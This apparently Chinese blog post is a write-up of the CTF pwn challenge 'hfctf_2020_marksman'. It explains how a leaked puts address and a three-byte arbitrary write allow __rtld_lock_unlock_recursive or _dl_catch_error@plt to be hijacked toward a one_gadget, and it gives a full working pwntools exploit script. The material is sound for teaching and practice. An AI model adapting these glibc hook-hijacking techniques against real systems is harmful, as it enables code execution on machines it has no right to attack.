hfctf_2020_marksman
<!doctype html>2021-04-21-hfctf-2020-marksman
hfctf_2020_marksman
总结
根据本题,学习与收获有:
libc
的got
表一般是可写的,保护一般是Partial RELRO
,即.got.plt
是可写的。one_gadget
工具默认只会给出很容易滿足条件的one_gadget
,其实还有一些隐藏的one_gagdet
可以通过-l/--level
来显示出来exit
函数的调用链为exit()->__run_exit_handlers->_dl_fini->__rtld_lock_unlock_recursive
,__rtld_lock_unlock_recursive
是一个hook
指针,可以劫持该函数指针写入one_gadget
。一般来说,程序都会调用__libc_start_main
,之后调用exit
来退出。
题目分析
checksec
函数分析
本题只包含一个main
函数,因此,分析起来也很简单。
main
函数的关键流程为:
- 打印出
puts
函数的地址 - 读取
stdin
输入,并转化为一个int64
的整数 - 读取
stdin
三个字符,存储到bullets
数组中 - 修改指定内存地址的低
3
个字节
这里有一个check_bullets
,可以跟进去看一下:
check_bullets
不允许数组的前两个元素同时为0xc5
和0xf2
,或者0x22
和0xf3
,或者0x8c
和0xa3
。
这是为了干啥呢?使用one_gadget
工具一看,为了避免这些gadget
:
漏洞点
漏洞点很明显,有两处:
- 泄露出
puts
地址,等于给了libc
基地址 - 任意地址写低
3
个字节
但是,也有一些掣肘,只有写3
个字节,似乎还不能写one_gadget
,那还能写啥呢。
利用思路
知识点
1、一番思考,我去看了看one_gadget
的参数,看是不是有啥有关one_gadget
我还不知道的参数和命令。
有一个--level
参数,可以输出更多的one_gadget
。我们来试一试:
可以看到,的确是多了很多one_gadget
,但是这些多出来的one_gadget
的constraints
约束更多了,不仅仅像之前的只需要rsp + 0x40 == NULL
这么简单。但是,至少有可用的one_gadget
可以试一试。
2、后来解出题后,网上搜了一下wp
,发现这位师傅的思路也值得借鉴。去寻找那些约束条件比较宽松的one_gadget
上方附近有没有什么值得用的地址。有一个0x10a38c
的one_gadget
上方:
结合exit
函数的调用链,劫持__rtld_lock_unlock_recursive
指针,修改为0x10a387
,可以绕过check
,也能获取shell
。但是我试了一下,这个劫持方式可能会失败,并不是百分百成功。
3、根据这位博主梳理的dlopen
调用链,可以知道最后会调用____libc_dlopen_mode
,最后会调用_dl_catch_error
,因此,可以修改该_dl_catch_error@plt+6
,更改为one_gadget
4、查看puts
函数的调用链,可以看到,会调用strlen
函数,因此,也可以修改strlen@got
为oe_gadget
。
利用过程
利用思路一:
- 泄露
puts
函数地址,计算得到__rtld_lock_unlock_recursive(0x81df60)
的偏移 - 修改
__rtld_lock_unlock_recursive
低三个字节为0x10a387
利用思路二:
- 泄露
puts
函数地址,计算得到_dl_catch_error@plt+6
地址 - 修改
_dl_catch_error@plt+6(0x5f4038)
地址为one_gadget(0xe569f)
EXP
调试过程
这里重点调试思路二,同时解释一下,为啥要跳到libc_base + 0x5f4038
-
首先,泄露出地址,并计算出
libc
基地址,同时得到需要跳转的地址x1sh.recvuntil("I placed the target near: ")
2msg = sh.recvline()
3
4puts_addr = int16(msg[:-1].decode())
5LOG_ADDR("puts_addr", puts_addr)
6libc_base_addr = puts_addr - 0x809c0
7LOG_ADDR("libc_base_addr", libc_base_addr)
8
9one_gadget1 = libc_base_addr + 0xe569f
10_dl_catch_error_offset = 0x5f4038
11target_addr = libc_base_addr + _dl_catch_error_offset
-
然后,修改目标地址为
one_gadget
xxxxxxxxxx
71sh.sendlineafter("shoot!shoot!\n", str(target_addr))
2input_gadget = one_gadget1
3for _ in range(3):
4sh.sendlineafter("biang!\n", chr(input_gadget & 0xff))
5input_gadget = input_gadget >> 8
6
7sh.interactive()
-
获取
shell
接着来,解释一下,为啥是0x5f4038
。需要设置断点在dlopen
处:
然后输入si
,步进,发现最终会调用_dl_catch_error
:
会call 0x7f64e0d2ad90
,所以继续跟进,看看0x7f64e0d2ad90
是在做什么:
会跳转到rip+0x2022a2
处指向的地址,我们继续步进:
发现这个地址就是0x7f64e0f2d038
,所以看下这个地址是哪里,在干什么:
这正是我们上面改的地址,存储着_dl_catch_error@plt+6
,所以最终需要更改的偏移为0x5f4038
:
完整exp
xxxxxxxxxx
from pwn import *
import functools
LOG_ADDR = lambda x, y: log.success('{} ===> {}'.format(x, hex(y)))
int16 = functools.partial(int, base=16)
sh = process("./hfctf_2020_marksman")
sh.recvuntil("I placed the target near: ")
msg = sh.recvline()
puts_addr = int16(msg[:-1].decode())
LOG_ADDR("puts_addr", puts_addr)
libc_base_addr = puts_addr - 0x809c0
LOG_ADDR("libc_base_addr", libc_base_addr)
one_gadget1 = libc_base_addr + 0x10a387
__rtld_lock_unlock_recursive_offset = 0x81df60
target_addr = libc_base_addr + __rtld_lock_unlock_recursive_offset
# one_gadget1 = libc_base_addr + 0xe569f
# _dl_catch_error_offset = 0x5f4038
# target_addr = libc_base_addr + _dl_catch_error_offset
sh.sendlineafter("shoot!shoot!\n", str(target_addr))
input_gadget = one_gadget1
for _ in range(3):
sh.sendlineafter("biang!\n", chr(input_gadget & 0xff))
input_gadget = input_gadget >> 8
sh.interactive()
最后远程攻击效果如下:
引用与参考
1、My Blog
2、exit 利用
本文来自博客园,作者:LynneHuan,转载请注明原文链接:https://www.cnblogs.com/LynneHuan/p/14687617.html